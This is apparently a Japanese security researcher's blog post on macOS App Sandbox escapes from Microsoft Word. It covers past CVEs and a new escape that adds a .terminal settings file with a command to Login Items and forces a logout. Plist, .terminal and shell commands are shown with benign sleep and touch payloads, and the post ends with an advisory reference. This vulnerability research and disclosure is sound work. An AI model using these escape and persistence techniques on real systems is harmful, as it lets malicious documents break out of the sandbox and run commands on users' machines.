OSMR受験記とmacOSにおけるApp Sandboxエスケープの脆弱性について

# App Store (https://apps.apple.com/jp/app/slack-for-desktop/id803453959)
➜  ~ codesign -dvv --entitlements - /Applications/Slack.app
...
CodeDirectory v=20400 size=477 flags=0x0(none) hashes=4+7 location=embedded
...
[Dict]
    [Key] com.apple.security.app-sandbox
    [Value]
        [Bool] true
...

# https://slack.com/intl/ja-jp/downloads/mac
➜  ~ codesign -dvv --entitlements - /Applications/Slack.app
...
CodeDirectory v=20500 size=485 flags=0x12000(library-validation,runtime) hashes=4+7 location=embedded
...
[Dict]
...

コンテナディレクトリ

Sandboxが適用されているアプリには専用のコンテナディレクトリ~/Library/Containers/<Bundle ID>が割り当てられます。Bundle IDとはアプリのビルド時に割り当てられる固有の識別子で、容易に確認することができます。

➜  ~ codesign -dvv --entitlements - /Applications/Microsoft\ Word.app
Executable=/Applications/Microsoft Word.app/Contents/MacOS/Microsoft Word
Identifier=com.microsoft.Word
...

Sandboxが適用されているアプリは各コンテナディレクトリ内のDataディレクトリを主に使用することになります。

➜  ~ ls -al ~/Library/Containers/com.microsoft.Word/Data
total 16
lrwxr-xr-x   1 victim  staff    31B Jan  9  2020 .CFUserTextEncoding -> ../../../../.CFUserTextEncoding
-rw-r--r--@  1 victim  staff   6.0K Mar 15 17:32 .DS_Store
lrwxr-xr-x   1 victim  staff    19B Jan  9  2020 Desktop -> ../../../../Desktop
drwx------   2 victim  staff    64B Nov 21  2020 Documents
lrwxr-xr-x   1 victim  staff    21B Jan  9  2020 Downloads -> ../../../../Downloads
drwx------  34 victim  staff   1.1K Feb  9  2023 Library
lrwxr-xr-x   1 victim  staff    18B Jan  9  2020 Movies -> ../../../../Movies
lrwxr-xr-x   1 victim  staff    17B Jan  9  2020 Music -> ../../../../Music
lrwxr-xr-x   1 victim  staff    20B Jan  9  2020 Pictures -> ../../../../Pictures
drwx------   2 victim  staff    64B Nov 21  2020 SystemData
drwx------   2 victim  staff    64B Nov 21  2020 tmp

このコンテナディレクトリは各アプリが比較的自由に使用できる一方で部分的に制約がかけられており、コンテナディレクトリ内部のバイナリやシェルスクリプトを実行することはできません。

➜  ~ /sbin/ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.055 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.055/0.055/0.055/0.000 ms
➜  ~ cp /sbin/ping ~/Library/Containers/com.microsoft.Word/Data/
➜  ~ ~/Library/Containers/com.microsoft.Word/Data/ping -c 1 127.0.0.1
[1]    27348 killed     ~/Library/Containers/com.microsoft.Word/Data/ping -c 1 127.0.0.1
➜  ~ open -a ~/Library/Containers/com.microsoft.Word/Data/ping --args -c 1 127.0.0.1
The application /Users/victim/Library/Containers/com.microsoft.Word/Data/ping cannot be opened for an unexpected reason, error=Error Domain=RBSRequestErrorDomain Code=5 "Launch failed." UserInfo={NSLocalizedFailureReason=Launch failed., NSUnderlyingError=0x6000007d4360 {Error Domain=NSPOSIXErrorDomain Code=162 "Unknown error: 162" UserInfo={NSLocalizedDescription=Launchd job spawn failed}}}

Microsoft Wordの例

MIcrosoft Word.appのSandbox設定をを確認してみると、以下のように特殊な設定が確認できます。

➜  ~ codesign -dvv --entitlements - /Applications/Microsoft\ Word.app
...
    [Key] com.apple.security.temporary-exception.sbpl
    [Value]
        [Array]
            [String] (allow file-read* file-write* (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$")) )
            [String] (deny file-write* (subpath (string-append (param "_HOME") "/Library/Application Scripts")) (subpath (string-append (param "_HOME") "/Library/LaunchAgents")) )
...

1行目のルールでは、~$から始まるファイルの読み書きを可能にしており、Wordドキュメント編集時に必要なファイルを生成できるように追加されています。
2行目で~/Library/Application Scripts/と~/Library/LaunchAgents/配下への書き込みを制限しています。これは過去の脆弱性対応時に追加されたもので、後程補足します。

Sandboxが適用されているMicrosoft Word.appからC2セッションを確立したとしても、/tmp/配下の列挙すらできないため、実用性がありません。これを実用的なレベルのアクセス権に持っていくためにSandboxからエスケープする必要があります。

Microsoft Word.appのSandboxエスケープにおいては~$から始まるファイルの読み書きが可能であるといったことを念頭におく必要があります。

また、Microsoft Word.appに適用されるSandbox環境下から検証を行うため、MythicおよびApfellを用いたC2サーバを用意し、以下のような簡単はマクロを用いてC2セッションを確立しました。

launchdとSandboxエスケープ

定義されたSandboxプロファイルは当然子プロセスにも適用されるため、Sandboxエスケープを行うためには現在のプロセスから完全に独立したプロセスを生成する必要があります。SIP (System Integrity Protection)による保護が手厚く、他プロセスにコードをインジェクトするといった方法は原則困難です。

そのため、Sandboxエスケープを試みる場合にlaunchdを活用することはほぼ必須と言えます。
launchdはシステムの初期化やサービス管理等を担当するフレームワークで、/sbin/launchdにはプロセスIDとして1が常に割り当てられます。

主に以下の2つの方法でlaunchdの子プロセスを生成することができます。
● /usr/bin/openコマンド
● LaunchAgentsやLaunchDaemons、Login Items等の永続化手法

openコマンドを活用した/sbin/launchdの子プロセス生成は、以下の通り簡単に確認できます。

➜  ~ open -a /sbin/ping --args -c 32 127.0.0.1
➜  ~ ps -ef
  UID   PID  PPID   C STIME   TTY           TIME CMD
  ...
  501 12024     1   0  6:35PM ??         0:00.01 /sbin/ping -c 32 127.0.0.1
  ...

これらの手法によるSandboxエスケープが可能であったmacOSの脆弱性を2つずつ紹介します。

/usr/bin/openによるSandboxエスケープ

● CVE-2021-30864 (Perception Point)
この脆弱性はopenコマンドでTerminal.appを起動する際、環境変数を設定することでHOMEディレクトリを改ざんし、攻撃者が配置した.zshenv等を実行させることによりSandboxエスケープを達成しました。Terminal.appはopenコマンドによりlaunchdから実行されるため、Sandboxの影響を受けることはありません。

➜  ~ open --env __OSINSTALL_ENVIROMENT --env HOME=~/Library/Containers/com.microsoft.Word/Data /System/Applications/Utilities/Terminal.app

現在はopenコマンドのenvオプション経由で環境変数HOMEの書き換えができないように修正されています。

参考: A Technical Analysis of CVE-2021-30864: Bypassing App Sandbox Restrictions

● CVE-2022-26706 (Microsoft)
openコマンドを用いてPythonスクリプトを実行することでSandboxエスケープを可能にした脆弱性です。Microsoft Word.appを含むSandboxが適用されたアプリによって生成されたファイルにはcom.apple.quarantine属性が付与されます。この場合、ShellスクリプトやPythonスクリプトとして実行することはできません。しかし、この制限をopenコマンドの—stdinオプションを用いて突破することに成功しました。

deploy@deploy ~ % ls -l test.py
-rwxr-xr-x@ 1 deploy  staff  77 Aug 31 22:07 test.py
deploy@deploy ~ % xattr test.py 
com.apple.quarantine
deploy@deploy ~ % ./test.py 
zsh: operation not permitted: ./test.py

この脆弱性は—stdinオプションに指定されたファイルにcom.apple.quarantine属性が付与されていた場合においても、openコマンドによるプロセス生成ができないように修正されました。

➜  Downloads xattr hello.py
com.apple.quarantine
➜  Downloads open --stdin='hello.py' -a Python
The application /Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/Resources/Python.app cannot be opened for an unexpected reason, error=Error Domain=NSOSStatusErrorDomain Code=-10810 "kLSUnknownErr: Unexpected internal error" UserInfo={_LSFunction=_LSLaunchWithRunningboard, _LSLine=2735, NSUnderlyingError=0x60000232cb40 {Error Domain=RBSRequestErrorDomain Code=5 "Launch failed." UserInfo={NSLocalizedFailureReason=Launch failed., NSUnderlyingError=0x60000232cae0 {Error Domain=NSPOSIXErrorDomain Code=1 "Operation not permitted" UserInfo={NSLocalizedDescription=Launchd job spawn failed}}}}}

参考: Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706

永続化手法によるSandboxエスケープ

● CVE未採番 (MDSec)
これは先ほど確認したMicrosoft Word.appに適用されていたカスタムルールの2行目に関する脆弱性です。

[String] (deny file-write* (subpath (string-append (param "_HOME") "/Library/Application Scripts")) (subpath (string-append (param "_HOME") "/Library/LaunchAgents")) )

当時このルールは実装されていなかったため、Microsoft Word.appは~$から始まる名称のファイルであれば~/Library/LaunchAgentsディレクトリにplistファイルを生成することが可能でした。
 
~/Library/LaunchAgentsディレクトリにはplistファイルが格納されています。plistファイルはmacOSにおける設定ファイルのようなもので、XML形式またはバイナリ形式で保存されます。一例として、以下のようなplistファイルを保存することでユーザのログイン時に指定したコマンドを実行させることが可能です。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>LaunchAtLogin</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/sleep</string>
        <string>300</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

実際にplistファイル格納後に再ログインを行うと、指定したsleepコマンドがlaunchdの子プロセスとして実行されていることが確認できます。

当該ディレクトリは一般ユーザの権限で書き込み可能なうえ、指定したコマンドの実行はlaunchdが担当するため、MIcrosoft Word.appに適用されるSandboxの影響を受けません。

もちろん、この脆弱性に対応するために先述のカスタムルールが追加されました。
参考: Escaping the Sandbox – Microsoft Office on MacOS

● CVE未採番 (Madhav Bhatt)
これは本調査当時も動作していたLogin Itemsを活用したSandboxエスケープです。任意のアプリのSandboxからエスケープできるものではありませんが、~$から始まるファイルを生成できるMicrosoft Word.appにおいては有効です。

前提として、Sandboxが適用されているアプリからでもLogin Itemsを追加することが可能です。Login Itemsにはアプリやファイルを追加することができ、ファイルを追加した場合はユーザのログイン時に対象アプリのデフォルトハンドラによってアプリが開かれます。例えば、zipファイルをLogin Itemsに追加した場合、Archive Utility.appによって対象ファイルが解凍されることになります。

この仕様を活用することで、Sandboxエスケープを達成できます。
まず、ユーザのホームディレクトリ配下に~$exploit.zipを作成し、Login Itemsに追加します。このzipファイルは.zshenvに解凍されます。~/.zshenvはデフォルトではmacOSに存在しないファイルであり、zsh起動時に指定されたOSコマンドが実行されます。既に存在する.zshrcとして解凍しようとすると.zshrc 2といったファイル名に解凍されるため、注意が必要です。
次に、Terminal.appをLogin Itemsに追加します。

するとユーザのログイン時に以下の手順によりTerminal.app上でOSコマンドが実行されます。

1. Login Itemsに追加した~/~$exploit.zipが~/.zshenvに解凍される
2. Login Itemsに追加したTerminal.appが起動される
3. Terminal.appで起動されるzshが~/.zshenvを読み込み、指定したOSコマンドが実行される

しかし、この方法には1点実際に悪用するにあたって難しい点があります。
手順1のzipファイルの解凍と手順2のTerminal.appの起動はユーザのログイン時に同時（順不同）に実行されるため、1度目のログイン時にはzipファイルが~/.zshenvに解凍される前にTerminal.appが起動してしまうケースがあります。この場合、2度目のログインを待つ必要があります。1度はlaunchctl bootout gui/$UIDといったコマンドによる強制ログアウトが可能であることを踏まえると、この2度目のログインを待つ必要があるというのは大きなデメリットであると言えます。

そのため、この手法をベースにより良いSandboxエスケープの手法を調査しました。

terminalファイル

terminalファイルはXML形式のファイルで、macOSにおいてはターミナル設定ファイルといった名称で扱われています。このファイルのデフォルトハンドラはTerminal.appになっており、以下のようにファイル内で指定したOSコマンドをTerminal.appから実行させることが可能です。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>CommandString</key>
        <string>sleep 30</string>
        <key>ProfileCurrentVersion</key>
        <real>2.0600000000000001</real>
        <key>RunCommandAsShell</key>
        <false />
        <key>name</key>
        <string>exploit</string>
        <key>type</key>
        <string>Window Settings</string>
    </dict>
</plist>

/usr/bin/open + .terminal

~/Library/Containers/com.microsoft.Word/Data/配下にターミナル設定ファイルtouch.terminalを配置し、openコマンドを実行したところ、以下の通り実行に失敗しました。

Microsoftによって発見されたCVE-2022-26706の解説時にも触れたように、Sandboxが適用されているMicrosoft Word.appによってシステム内に作成されたファイルにはcom.apple.quarantine属性が付与され、制約が厳しく設定されます。当該属性の削除はSandboxをエスケープしない限り原則困難ですが、検証のためにTerminal.appから当該属性を削除し、改めてopenコマンドを実行しました。

deploy@deploy ~ % xattr –d com.apple.quarantine ~/Library/Containers/com.microsoft.Word/Data/touch.terminal

異なるエラーメッセージにより、実行に失敗しました。エラーメッセージやその挙動からSandboxが適用されたプロセスからterminalファイルを開くのは困難であると考えられます。コンテナディレクトリに適用される制約である可能性もあったため、ホームディレクトリに~/~$touch.terminalを改めて作成しましたが、結果は同様でした。

com.apple.quarantine属性の制約とSandboxが適用されたプロセスの制約を2つとも突破する必要があるため、これ以上の調査は実施しませんでした。

Login Items + .terminal

次にterminalファイルをLogin Itemsに追加することで、terminalファイルの実行を試みました。
今回はApfellのC2セッションを使用していたため、JavaScript for Automationを用いてLogin Itemsを追加しました。最も簡単な方法としてはMadhav Bhatt氏の記事に記載の通り、Apfellのpersist_loginitem_allusers関数を利用する方法が挙げられます。

その後、launchctlコマンドを使ってユーザを強制的にログアウトさせると、ログイン時にterminalファイルが開かれ、指定したOSコマンドがTerminal.app上で実行されたことが確認できました。Terminal.appはMicrosoft Word.appに適用されるサンドボックスの影響を受けないため、この時点でApp Sandboxからのエスケープに成功しました。

タイムライン

参考: About the security content of macOS Ventura 13.3